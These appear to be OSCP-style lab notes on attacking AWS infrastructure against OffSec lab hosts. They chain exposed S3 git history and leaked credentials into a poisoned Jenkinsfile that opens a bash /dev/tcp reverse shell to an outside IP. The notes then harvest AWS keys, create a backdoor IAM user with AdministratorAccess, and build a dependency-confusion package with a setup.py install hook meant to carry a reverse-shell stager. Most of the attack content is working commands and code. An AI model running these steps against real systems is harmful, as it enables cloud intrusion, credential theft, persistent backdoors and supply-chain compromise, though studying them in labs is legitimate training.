// notes/ Cloud (AWS)
☁️

Attacking AWS Cloud Infrastructure

Leaked secrets to poisoned CI/CD pipeline to AWS admin, plus a dependency-confusion attack chain.

#aws#cicd#jenkins#dependency confusion#s3
source · airouboss/oscp-prep-notes-2026 · cloud/attacking-aws.md

Attacking AWS Cloud Infrastructure

Two end-to-end cloud attack chains: leaked secrets → poisoned CI/CD pipeline → AWS admin, and a dependency-chain (dependency-confusion) attack. Both start from a misconfigured public surface and end with code execution and cloud credentials.

Lab / DNS setup

🐺 howlsec@kali
$nmcli connection # find your connection name
$sudo nmcli connection modify "Wired connection 1" ipv4.dns "203.0.113.84"
$sudo systemctl restart NetworkManager
$cat /etc/resolv.conf
$nslookup git.offseclab.io # confirm the lab DNS answers
$# Each lab restart hands out a new DNS IP — re-run the modify command.

Chain 1 — Leaked Secrets to Poisoned Pipeline

Enumerate the public surface

🐺 howlsec@kali
$# Jenkins recon with Metasploit
$sudo msfdb init
$msfconsole --quiet
$use auxiliary/scanner/http/jenkins_enum
$set RHOSTS automation.offseclab.io
$set TARGETURI /
$run
$
$# Web app + S3 discovery
$dirb http://app.offseclab.io
$# View source -> images served from an S3 bucket
$curl https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com
$head -n 51 /usr/share/wordlists/dirb/common.txt > first50.txt
$dirb https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com ./first50.txt
$# A .git folder in the bucket => a whole repo is exposed

Abuse the AuthenticatedUsers S3 misconfig

Buckets are often set to block public access but allow any AWS-authenticated user (the AuthenticatedUsers grantee — commonly confused with "users in my account"). Configure the CLI with any valid AWS keys and list it.

🐺 howlsec@kali
$aws configure # region = the one in the bucket URL
$aws s3 ls staticcontent-lgudbhv8syu2tgbk

Hunt secrets in the git history

🐺 howlsec@kali
$aws s3 cp s3://staticcontent-lgudbhv8syu2tgbk/README.md ./
$cat README.md
$mkdir static_content && aws s3 sync s3://staticcontent-lgudbhv8syu2tgbk ./static_content/
$cd static_content
$cat scripts/upload-to-s3.sh
$
$# Automated + manual history review
$sudo apt install -y gitleaks
$gitleaks detect
$git log
$git show <commit> # a removed Authorization header often lingers here
$echo "YWRtaW5pc3RyYXRvcjo5bndrcWU1aGxiY21jOTFu" | base64 --decode # recovered creds

Poison the Jenkins pipeline

The Gitea repo's Jenkinsfile loads AWS credentials (withAWS(... credentials: 'aws_key')) and a webhook triggers a build on git push. Edit the Jenkinsfile to run a shell step and commit — the webhook fires the build on the Jenkins agent.

🐺 howlsec@kali
01pipeline {
02 agent any
03 stages {
04 stage('Send Reverse Shell') {
05 steps {
06 withAWS(region: 'us-east-1', credentials: 'aws_key') {
07 script {
08 if (isUnix()) {
09 sh 'bash -c "bash -i >& /dev/tcp/192.88.99.76/4242 0>&1" & '
10 }
11 }
12 }
13 }
14 }
15 }
16}
🐺 howlsec@kali
$# On the cloud Kali (needs a public IP for the callback)
$sudo systemctl start apache2 # confirm build hit you
$cat /var/log/apache2/access.log
$nc -nvlp 4242 # catch the reverse shell

Enumerate the builder (container escape awareness)

🐺 howlsec@kali
$uname -a; cat /etc/os-release
$cat .ssh/authorized_keys
$cat /proc/mounts # Docker container?
$cat /proc/1/status | grep Cap # capability set
$capsh --decode=0000003fffffffff # cap_sys_admin/cap_net_admin => privileged
$env | grep AWS # harvest AWS creds from env

Escalate in AWS + persist

🐺 howlsec@kali
$aws configure --profile=CompromisedJenkins
$aws --profile CompromisedJenkins sts get-caller-identity
$aws --profile CompromisedJenkins iam list-attached-user-policies --user-name jenkins-admin
$aws --profile CompromisedJenkins iam get-user-policy --user-name jenkins-admin --policy-name jenkins-admin-role
$
$# Backdoor admin user
$aws --profile CompromisedJenkins iam create-user --user-name backdoor
$aws --profile CompromisedJenkins iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$aws --profile CompromisedJenkins iam create-access-key --user-name backdoor
$aws configure --profile=backdoor

Chain 2 — Dependency Chain (Confusion) Attack

Configure pip to use the lab DNS + index, then enumerate the app and OSINT for an internal package name.

🐺 howlsec@kali
$nmcli connection modify "Wired connection 1" ipv4.dns "203.0.113.84"
$sudo systemctl restart NetworkManager
$mkdir -p ~/.config/pip/ && nano ~/.config/pip/pip.conf
$
$# From a forum post you learn the app imports an internal util package
$pip download hackshort-util # "not found" on PyPI => confusion attack is viable

A dependency-confusion attack serves a malicious package with the same name from a different index. If the target's extra-index-url resolves your package first, your code runs on install and/or import.

Build the malicious package

🐺 howlsec@kali
01hackshort-util/
02├── setup.py
03└── hackshort_util/
04 ├── __init__.py
05 └── utils.py # the submodule the app actually imports

Execution during install — hook setup.py's install command:

🐺 howlsec@kali
01from setuptools import setup, find_packages
02from setuptools.command.install import install
03
04class Installer(install):
05 def run(self):
06 install.run(self)
07 with open('/tmp/running_during_install', 'w') as f:
08 f.write('code executed on install')
09
10setup(
11 name='hackshort-util', version='1.1.4',
12 packages=find_packages(), cmdclass={'install': Installer},
13)

Execution during runtime — put the payload in the submodule the app imports (hackshort_util/utils.py), using __getattr__/sys.excepthook so normal calls don't error. Build and test:

🐺 howlsec@kali
$python3 ./setup.py sdist
$pip install ./dist/hackshort_util-1.1.4.tar.gz
$cat /tmp/running_during_install

Then bump the version above the legitimate package's, publish to the index the target trusts, and swap the harmless writer for a real payload (e.g. a Meterpreter/reverse-shell stager) to land execution on the developer workstation or build environment.